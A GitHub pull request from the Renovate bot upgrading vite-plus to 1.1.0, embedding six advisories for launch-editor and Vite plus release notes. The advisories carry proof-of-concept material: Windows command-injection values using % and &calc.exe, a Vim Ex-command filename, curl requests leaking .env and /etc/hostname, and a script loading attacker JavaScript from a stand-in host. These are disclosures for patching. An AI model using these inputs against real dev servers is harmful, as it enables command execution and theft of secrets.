Skip to content

chore(deps): update dependency vite-plus to v1 [security] - #85

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vite-plus-vulnerability
Open

chore(deps): update dependency vite-plus to v1 [security]#85
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vite-plus-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 20, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vite-plus (source) 0.3.3 → 1.1.0 age adoption passing confidence

launch-editor: escapeCmdArgs() omits % escaping on Windows

CVE-2026-112943 / GHSA-698v-4r3x-3vcv

More information

Details

Summary

launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed.

Impact

Only apps that match all of the following conditions are affected:

  • The user uses Windows
  • An attacker can place a file with the malicious filename containing & or %
  • Either of
    • An attacker can inject an environment variable with a malicious value
    • An attacker can add a NTFS alternate data stream to the file placed
Details

Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child_process.spawn and requires passing them as an argument of cmd.exe. To do so, launch-editor escapes the arguments passed to cmd.exe. But launch-editor did not escape % which is used for environment variables.

Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

  • If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV%) and call launchEditor with something%ENV%.
  • If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe.
  • If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

launch-editor: fs.existsSync() existence check can be bypassed on Windows

CVE-2026-112942 / GHSA-587h-7wmj-h5pm

More information

Details

Summary

launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.

Impact

Only apps that runs on Windows is affected.

Details

The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware, launch-editor, and Windows:

  1. launch-editor-middleware calls path.resolve() while the final path component is ..:1:1, so it is not treated as a parent-directory component.
  2. launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\...
  3. On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
  4. Because the existence check passes, the crafted filename reaches the Windows shell command.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

CVE-2026-112944 / GHSA-r825-w8mm-5pxw

More information

Details

Summary

launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

Impact
Direct launch-editor users

Only apps that match all of the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • The first argument of launchEditor can start with + or - or the user is using WSL
launch-editor-middleware users

Only apps that match the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • launch-editor older than v2.2.0 is used, or the user is using WSL
Vite users

Only apps that match the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • The user is using WSL
Details

launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:

+call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa!

is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:

  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vite: First 4 bytes of files outside of server.fs setting is exposed by ?vite-wasm-instance

CVE-2026-112947 / GHSA-vfpm-58rq-9qcg

More information

Details

Summary

The first 4 bytes of files outside of server.fs setting can be returned to the browser by a request containing ?vite-wasm-instance.

Impact

Only apps that match one of the following conditions are affected:

  • explicitly expose the Vite dev server to the network using --host or the server.host option
  • there's a file that has a sensitive information in the first 4 bytes
  • uses Node.js or Deno to run Vite (if Bun is used, it is not affected)
Details

Requests containing the ?vite-wasm-instance query are handled by the internal Wasm plugin's load hook. The hook removes the query and reads the resulting path directly from disk, but the server.fs checks were not applied.

After reading the file, Vite attempts to parse it as WebAssembly. When that parse fails, Node and deno throws an error that contains the first 4 bytes of the file.

PoC

Create a denied file and start an affected Vite dev server:

echo 'SECRET_KEY=abc123\n' > .env
npm run dev
curl 'http://localhost:5173/.env?vite-wasm-instance'

This will show

Failed to parse WASM file "<root>/.env": WebAssembly.compile(): expected magic word 00 61 73 6d, found 53 45 43 52 @+0

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vite: Files outside server.fs.allow could be served when project paths match system paths on non-Windows machine

CVE-2026-112946 / GHSA-rq7h-c2jc-7f22

More information

Details

Summary

The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.

The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.

Impact

Only apps that meet all of the following conditions are affected:

  • explicitly expose the Vite dev server to the network (using --host or the server.host option)
  • contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
  • The sensitive file is not matched by server.fs.deny
  • the dev server is not running on Windows
Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.

For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.

PoC

The following example requires Linux with a readable /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

In another terminal:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vite: Cross origin script execution through Vite custom middleware

CVE-2026-112945 / GHSA-9jrq-w75r-8gcw

More information

Details

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

  • the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
  • the transformed HTML contains an inline module script
  • from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Observed output on Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Severity

  • CVSS Score: 2.1 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

voidzero-dev/vite-plus (vite-plus)

v1.1.0: vite-plus v1.1.0: faster vp dev startup and clearer interactive prompts

Compare Source

Vite+ 1.1 starts vp dev faster and makes the interactive prompts clearer, alongside fixes for vp migrate, package-manager commands, and Windows terminals.

Highlights
  • vp dev reaches its local URL about 24% sooner and uses about 30% less memory in the parent process, because Vite+ no longer loads Vite and Vitest there before starting the dev server (#​2851), by @​camc314.
  • Interactive prompts render boxes, logs, and wrapped text consistently, with clearer hints, validation, and navigation instructions (#​2870), by @​cpojer.
Features
  • vp run sets npm_execpath and npm_config_user_agent for npm, pnpm, and Yarn, so tools such as npm-run-all2 use the project's package manager instead of falling back to npm (#​2895), by @​naokihaba and @​tarikermis.
  • Upgrade vite@8.3.1 to vite@8.3.3, rolldown@1.2.11 to rolldown@1.2.12, vitest@5.0.1 to vitest@5.0.3, oxlint@1.85.0 to oxlint@1.87.0, and oxfmt@0.70.0 to oxfmt@0.72.0. The new lint and format versions can flag code that passed before, so run vp fmt after upgrading if CI runs vp check. vp migrate now keeps the React Refresh allowCompoundComponents option because the bundled Oxlint supports it (#​2871, #​2896, #​2904), by @​voidzero-guard[bot].
Fixes & Enhancements
  • vp migrate keeps Oxlint rules written with plugin aliases (such as @typescript-eslint/*, react-hooks/*, and import-x/*) and removes rules the bundled Oxlint does not support, listing them in a warning (#​2820, #​2906), by @​TheAlexLichter and @​yusuke99.
  • vp migrate leaves projects without a declared package manager unpinned, keeps existing declarations, and points to vp env pin when it infers one (#​2817), by @​TheAlexLichter.
  • vp migrate reports a short error for a directory without package.json instead of an ENOENT stack trace (#​2821), by @​TheAlexLichter.
  • vp create in an existing pnpm workspace adds the catalog entries the new application needs, so installation no longer fails with ERR_PNPM_CATALOG_ENTRY_NOT_FOUND_FOR_SPEC (#​2808), by @​SaKaNa-Y.
  • On Windows, one Ctrl+C stops vpr scripts and managed Bun, pnpm, npm, and Yarn commands without leaving cmd.exe stuck at Terminate batch job (Y/N)? (#​2890), by @​fengmk2.
  • vp pack --watch on Windows rebuilds with the new options after the config file changes (#​2826), by @​liangmiQwQ.
  • vp test doctor and vp test complete run the Vitest subcommands instead of being treated as test file filters (#​2879), by @​liangmiQwQ.
  • With isolated dependency layouts such as pnpm's global virtual store, vp pack finds installed Vue language tools and TypeScript Go for declaration generation, and Playwright browser provider options keep their types (#​2868, #​2865), by @​liangmiQwQ.
  • Package-manager commands fail when the project's package manager does not support a named option, instead of silently dropping it and continuing. Bun 1.4.1+ receives --offline and --prefer-offline, and Yarn Classic accepts a single --filter for vp remove (#​2775), by @​jong-kyung.
  • vp pm config in Bun projects falls back to npm, as its warning says (#​2899), by @​jong-kyung.
  • vp pm approve-builds states that Yarn Berry disables third-party build scripts by default from 4.14.0, not in every version (#​2902), by @​jong-kyung.
  • vp implode asks you to type boom instead of uninstall to confirm (#​2901), by @​fengmk2.
  • Global package installs and updates print a green +, and removals a red -, with bold package names in both (#​2828), by @​liangmiQwQ.
  • Setup headings and command hints keep their colors when the installer captures stdout (#​2829), by @​liangmiQwQ.
Refactor
  • Replace semver with verkit in the CLI, reducing the bundled CLI JavaScript by about 26 KB (#​2837), by @​liangmiQwQ.
  • Share the shim filename logic between setup and vp env doctor, and remove unused config migration metadata (#​2876, #​2894), by @​jong-kyung.
Docs
Chore
Bundled Versions
Tool Version Source Changelog
vite 8.3.3 fea5b21 8.3.2, 8.3.3
rolldown 1.2.12 45e407b 1.2.12
tsdown 0.23.0 npm unchanged
vitest 5.0.3 npm 5.0.2, 5.0.3
oxlint 1.87.0 npm 1.86.0, 1.87.0
oxlint-tsgolint 7.0.2003 npm unchanged
oxfmt 0.72.0 npm 0.71.0, 0.72.0
Upgrade
vp upgrade
New Contributors

@​hyunbinseo

Full Changelog: voidzero-dev/vite-plus@v1.0.0...v1.1.0

Published Packages
  • @voidzero-dev/vite-plus-core@1.1.0
  • vite-plus@1.1.0
Installation

macOS/Linux:

curl -fsSL https://vite.plus | bash

Windows:

irm https://vite.plus/ps1 | iex

Or download and run vp-setup.exe from the assets below.

Docker:

docker run --rm -it -v "$PWD:/app" -w /app ghcr.io/voidzero-dev/vite-plus:1.1.0 vp build

Run any vp command without installing it; see the Docker guide for more.

v1.0.0: vite-plus v1.0.0: Vite+ 1.0 is stable

Compare Source

Vite+ 1.0 is stable (announcement). This release promotes v1.0.0-rc.1 to stable with no code changes.

Notable changes since v0.3.3

v1.0.0 includes everything from the two release candidates below. See each release's notes for the full list of changes.

  • v1.0.0-rc.0: vp test moves to vitest@5.0.1, and the CLI now requires Node.js ^22.18.0 || ^24.11.0 || >=26.0.0. vp staged has new Node.js and Git minimums. Standalone installs and vp upgrade verify release provenance.
  • v1.0.0-rc.1: task cache settings in run.tasks move under cache. vp lint and vp fmt run from a package directory now use the same config as your editor.

Projects on v1.0.0-rc.1 need no changes. Projects on v1.0.0-rc.0 whose tasks set env, untrackedEnv, input, or output should run vp migrate to move those settings under cache. For a Vite+ 0.3 project, follow Upgrade from Vite+ 0.3 to 1.0 and run vp migrate before you update the project's dependencies.

Bundled Versions
Tool Version Source
vite 8.3.1 39ddf7c
rolldown 1.2.11 8df4219
tsdown 0.23.0 npm
vitest 5.0.1 npm
oxlint 1.85.0 npm
oxlint-tsgolint 7.0.2003 npm
oxfmt 0.70.0 npm
Upgrade
vp upgrade

Full Changelog: voidzero-dev/vite-plus@v1.0.0-rc.1...v1.0.0

Published Packages
  • @voidzero-dev/vite-plus-core@1.0.0
  • vite-plus@1.0.0
Installation

macOS/Linux:

curl -fsSL https://vite.plus | bash

Windows:

irm https://vite.plus/ps1 | iex

Or download and run vp-setup.exe from the assets below.

Docker:

docker run --rm -it -v "$PWD:/app" -w /app ghcr.io/voidzero-dev/vite-plus:1.0.0 vp build

Run any vp command without installing it; see the Docker guide for more.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot

changeset-bot Bot commented Oct 20, 2026 •
edited
Loading

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: b35a6c7

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate
renovate Bot force-pushed the renovate/npm-vite-plus-vulnerability branch from 088d66a to b35a6c7 Compare October 26, 2026 17:18
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

dependencies

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants